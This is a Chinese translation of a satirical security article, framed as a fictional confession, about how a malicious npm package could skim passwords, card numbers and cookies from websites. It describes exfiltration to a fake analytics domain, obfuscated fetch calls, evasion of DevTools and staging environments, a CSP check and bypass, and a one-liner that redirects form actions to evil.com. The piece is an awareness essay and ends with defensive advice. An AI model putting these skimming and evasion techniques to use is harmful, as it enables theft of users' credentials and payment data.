这篇文章是个真实故事,或者是改编自真实故事,又或者只是我瞎掰的。
(本文译自 I’m harvesting credit card numbers and passwords from your site. Here’s how.)
这个礼拜(译注:原文写作时,Meltdown 跟 Spectre 刚被揭露出来)根本是资讯安全恐慌週,几乎每天都有新的资安漏洞被挖出来。这让我这个礼拜过得很辛苦,每次被家人问到发生什麽事,都得要假装自己很清楚状况。
看到身边的人因此处于「靠,我被骇了」的状况,真的让我大开眼界。
所以,我要来心情沉重的自首一下,让大家知道过去几年我怎麽从你们的网站上把帐号、密码、跟信用卡号全部干走。
恶意程式码本身很简单,在符合下面条件的页面会启动:
页面有 <form>
有看起来像是 input[type=”password”] 或 input[type=”cardnumber”] 或 input[type=”cvc”] 之类的页面元素
页面有「信用卡」「结帐」「帐号」「密码」之类的文字
当信用卡号/密码栏位有 blur 事件的时候,或是看到表单的 submit 事件的时候,我的程式会做这些事:
抓取页面上所有表单的所有栏位裡面的资料 document.forms.forEach(…)
抓 document.cookie
把资料转成看起来很随机的字串 const payload = bota(JSON.stringfy(sensitiveUserData))
把资料送到 https://legit-analytics.com/?q=${payload}(当然这 domain 是随便唬烂的)
总而言之,只要资料看起来有一点点用处,就把资料回传到我的伺服器上。
当然,我在 2015 写完这段程式的时候,他在我的电脑裡面一点用都没有。我得把它野放,让他住进你的网站。
有句来自 Google 金玉良言:
If an attacker successfully injects any code at all, it’s pretty much game over
如果攻击者能成功注入任何程式码,差不多就等于完蛋了
XSS 规模太小,而且这方面的防御很完善。
Chrome Extension 也被锁起来了。
不过我运气很好,这年头的人装 npm 套件就跟吃止痛药一样,没在管的。
我要以 npm 作为我的散佈管道,我就得生出一些多少有点用,让人不会想太多就装起来的小套件,作为我的特洛伊木马。
人类喜欢看到颜色,这是人跟狗最大的差别。所以我写了个套件可以在 console 裡面用各种颜色写 log。
程式码在这里
我现在手上有个很吸睛的套件,这让我很兴奋。但是我不想坐在那边等人慢慢发现我的套件。所以我打算到处发 PR,把我多采多姿的套件加到别人的安装清单裡面。
于是乎,我发了几百个 PR(用一堆不同的帐号,当然通通都不是 David Gilbertson)给各种前端套件,让他们相依于我的套件。「嘿,我修正了这个问题,顺便加了一些 log」。
妈,你看!我正在为 open source 做出贡献呢!
当然有很多常识人会跳出来说,他们不希望增加新的相依套件。不过这算意料之中,重点是数量。
总而言之,这次作战算成功。有 23 个套件直接把我的套件装进去了。而其中有个套件被装进另一个广泛使用的套件使用,这下中奖了。我就不说是哪个套件,不过你可以想成我 left-pad 了一堆金库。
这只是其中一个,我手上还有另外六个热门套件。
我的程式现在每个月被下载十二万次,然后我可以很骄傲的说,有不少 alexa 1000 大网站上面跑著我的程式,我拿到的帐号/密码/信用卡资讯源源不绝。
回头来看,有点难以想像人们花这麽多时间搞 XSS,只为了把程式插进一个网站。现在有网页开发者们帮忙,我轻松的把程式推到成千上万个网站上面。
你要怎麽注意到有奇怪的 request?只要你打开 DevTool 我的程式就不会动作。就算你让他显示成独立的视窗也一样。
除此之外,如果程式跑在 localhost、或是透过 ip 位址连线、或是网址裡面包涵 dev /test / qa / uat / staging(前后夹著 \b word boundry),我的程式也不会动作。
他们的工作时间是什麽时候?我的程式在早上七点到晚上七点之间不会发送任何资料,这样我收到的资料量会减半,但是能减少 95% 被发现的机会。
而且一个人的机密资讯我只需要拿一次,所以在我发送完讯息之后会在机器上做注记(用 local storage 或是写 cookie),同一台装置不会发送第二次讯息。
而且就算做渗透测试的人很有研究精神,真的把 cookie 清掉重试,我只会间歇性的发送这些资料(大约每七次会发一次,有稍微随机化。这个频率能有效地让人抓虫抓到想杀人)
除此之外,我的网址看起来就跟你的网站其他三百个 request 会用到的网址差不多。
我的重点是,你没看到不表示事情没发生。就我所知,这两年来根本没人注意到这些 request。搞不好你的网站上早就跑著我的程式码:)
(新奇有趣小知识:我在把信用卡号跟密码打包卖掉的时候,得要搜寻一下自己的信用卡,以免我把自己给卖掉了)
你这麽天真可爱,让我感到一阵温暖。
但很不幸的,我完全可以在 GitHub 上贴一个版本,而 npm 上面送的是另一个不同的版本。
我的 package.json 裡面有定义 files 属性,指到 lib 资料夹裡面。我把 minify 并 uglify 过的程式放在那裡面。我跑 npm publish 的时候会把这些程式送出去。但是 lib 在 .gitignore 裡面,所以不会被送上 GitHub。这样的行为很常见,所以 GitHub 上的 code 看起来完全不可疑。
这其实不是 npm 的问题。就算我没有分开不同的版本,是谁告诉你 /lib/package.min.js 一定是 /src/package.js 拿去 minify 来的?
所以你在 GitHub 上是找不到我的邪恶程式的。
我觉得你有点为反对而反对了。不过也可能你的意思是你可以写一些厉害的东西自动检查 node_modules 裡面的程式码。
不过你还是没办法在我的程式裡面找到什麽有意义的东西。程式裡面没有 fetch 或 XMLHttpRequest 之类的字串,也找不到我用的网址。我的 fetch 程式大概长这样:
view raw gfudi.js hosted with ❤ by GitHub
「gfudi」是「fetch」的每个字母往后移一位。这可是硬派的密码学。
而 self 则是 window 的 alias。self[‘\u0066\u0065\u0074\u0063\u0068′](…) 则是另外一种花俏的呼叫 fetch(…) 的方式。
重点是:很难从认真混淆过的程式码裡面挖出葬东西,你没机会的。
(讲是这样讲,其实我不会去用 fetch 那麽俗气的东西。如果可以的话,我倾向用 new EventSource(urlWithYourPreciousData)。就算你疑心病够重,会用 serviceWorker 去听 fetch event,我还是可以偷偷摸摸地溜出去。如果浏览器支援 serviceWorker 但是不支援 EventSource,我就什麽都不送)
我有设定 Content Security Policy!
噢,你有设啊。
是不是有人告诉过你设定 CSP 能够避免资料被送往不该送的坏坏网址呢?我其实不喜欢破坏孩子的梦想,不过下面这四行程式就算是最严格的 CSP 也能够轻松绕过:
view raw csp-bypass.js hosted with ❤ by GitHub
(这篇文章我原本是写著好好设定 content security policy 的话能够让你「百分之百安全」。很不幸的,在十三万人看过这篇文章之后,我发现还有上面这一招。我想这件事的教训是,千万不要相信网路上的任何人或任何文章)
不过 CSP 也不是完全没用,上面那招只有在 Chrome 裡面有用。而且严谨的 CSP 设定说不定能够在一些比较少人用的浏览器裡面把我给挡下来。
如果你还不知道,content security policy 能(试著)限制浏览器能够发出的网路请求。通常这会被说成你允许浏览器载入哪些东西,不过你也可以想成这是在保护你能送出什麽东西(我说的「送出」个人资料,其实也就是 GET request 的 query param 而已)
如果我没办法用 prefetch 那招送出资料,CSP 对我的信用卡收集业务会有点棘手。这可不只是因为他会阻止我的邪恶行为而已。
如果我从有 CSP 的网站送资料,他可能会通知网站管理员有讯息发送失败(如果有指定 report-uri)。他们可能会追到我的程式,然后打电话给我妈,让我吃不完兜著走。
我做人一向低调(除非在夜店裡面),所以我在送资料之前会先检查 CSP。
我的做法是在现在的页面发一个假的请求,然后去读 header:
view raw get-csp.js hosted with ❤ by GitHub
然后我就能开始找你的 CSP 裡面的漏洞。我很意外的发现 Google 的登入页面的 CSP 没设好,如果我的程式跑在那上面我就能拿到你的帐号密码。他们没有设定 connect-src,而且也没有设定最终防卫线 default-src,所以只要我想要,我就可以开心的把你的个人资讯送出来。
如果你发一封内含十美金的信给我,我会告诉你我的程式码是不是真的跑在 Google 登入页面上。
Amazon 在你打信用卡的页面根本没设定 CSP,eBay 也一样。
Twitter 跟 PayPal 有 CSP,不过要绕过也是很简单。他们犯了一样的错误,这很可能表示有一大堆人都犯了一样的错误。他们的防护乍看之下很坚实,有设定 default-src 这个最终防卫线,但问题是最终防卫线其实有洞,他们没有把 form-action 锁起来。
所以在我检查你的 CSP(还检查了两次)的时候,如果其他东西都被锁掉了,但是 form-action 没有被锁,我会直接修改页面上所有表单的 action(你按「登入」的时候资料会送到哪裡)
Array.from(document.forms).forEach(formEl => formEl.action = `//evil.com/bounce-form`);
好了,感谢你把你的 PayPal 帐号密码寄给我。我会用你的钱买一堆东西,拍张照片,然后做成感谢卡寄给你。
当然,这招只会做一次,然后把使用者踹回原本的登入页面,然后他们会感到迷惑,然后重新登入一次。
(我用这招接管了川普的 Twitter 帐号,而且发了一堆乱七八糟的鬼扯蛋,不过好像没人注意到)
好,我开始紧张了,我该怎麽办?
方案一:
这裡很安全
方案二:
只要页面上有你不希望我(或是跟我一样的攻击者)拿到的资料,不要用任何 npm 套件、或是 Google Tag Manager、或是广告、或是分析、或是其他任何不是你自己写的程式。
就像是这篇的建议,你可能会想要考虑做一个轻巧独立,专门用来登入以及输入信用卡资讯的页面,用 iframe 载入。
你当然可以在你的 header/footer/nav/其他地方把你又大又棒的的 React app 跟其他 138 个 npm 套件装进来,但是使用者输入资讯的地方应该要是个包在 sandbox 裡面的 iFrame。如果你有需要做 client side 验证,那裡面只能跑你自己写的(而且我会建议是没有 minify 过的)JavaScript。
我很快就会贴出我把蒐集到的信用卡卖给带著帅帅的帽子的帮派份子的收入的 2017 年度报告。依照法律规定,我得列出我拿到最多信用卡资料的网站,搞不好你的网站是其中一个?
不过像我这样风度翩翩的男人,只要你的网站在 1/12 之前(译注:原文写于 2018/01/06)把我的捞资料程式挡掉,我就会把你从清单移掉,让你不用被公开羞辱。
我知道我的靠北对于还在学英文的人(以及不够灵光的人)来说有点难懂。所以我要先说清楚,我并没有真的做会偷别人资料的 npm 套件。这篇文章完全是虚构的。然而,这篇文章的内容是可行的,我也希望这篇文章能有点教育意义。
虽然这篇文章是假的,但是这个套路并不难,这让我很担心。
这个世界上聪明的坏人很多,而且 npm 套件有四十万个。我认为其中总是会有哪个套件心怀不轨。而坏人如果把事情作对,你很可能根本看不见查不到。
所以这篇文章的重点是什麽?只是想要找个人指著说「啊哈哈哈你看看你超 suck」吗?
不,绝对不是(好吧,一开始是,不过我后来发现自己也满 suck 的,我就改变路线了)
我的目的(以结果来说)只是想要指出,任何装了第三方的程式码的网站都等于是开了一个大洞,而且完全侦测不到。
本文文字及图片出自 www.inside.com.tw
您的电子邮箱地址不会被公开。 必填项已用 * 标注
评论 *
显示名称 *
电子邮箱地址 *
网站地址
【外评】电脑从哪里获取时间?
【外评】为什么 Stack Overflow 正在消失?
有时
【外评】哪些开源项目被广泛使用,但仅由少数人维护?
【外评】好的重构与不好的重构
【外评】代码审查反模式
【外评】Linux 桌面市场份额升至 4.45
【外评】作为全栈开发人员如何跟上 AI/ML 的发展?
数据类型简明指导
第三颗原子弹
共有 1 条讨论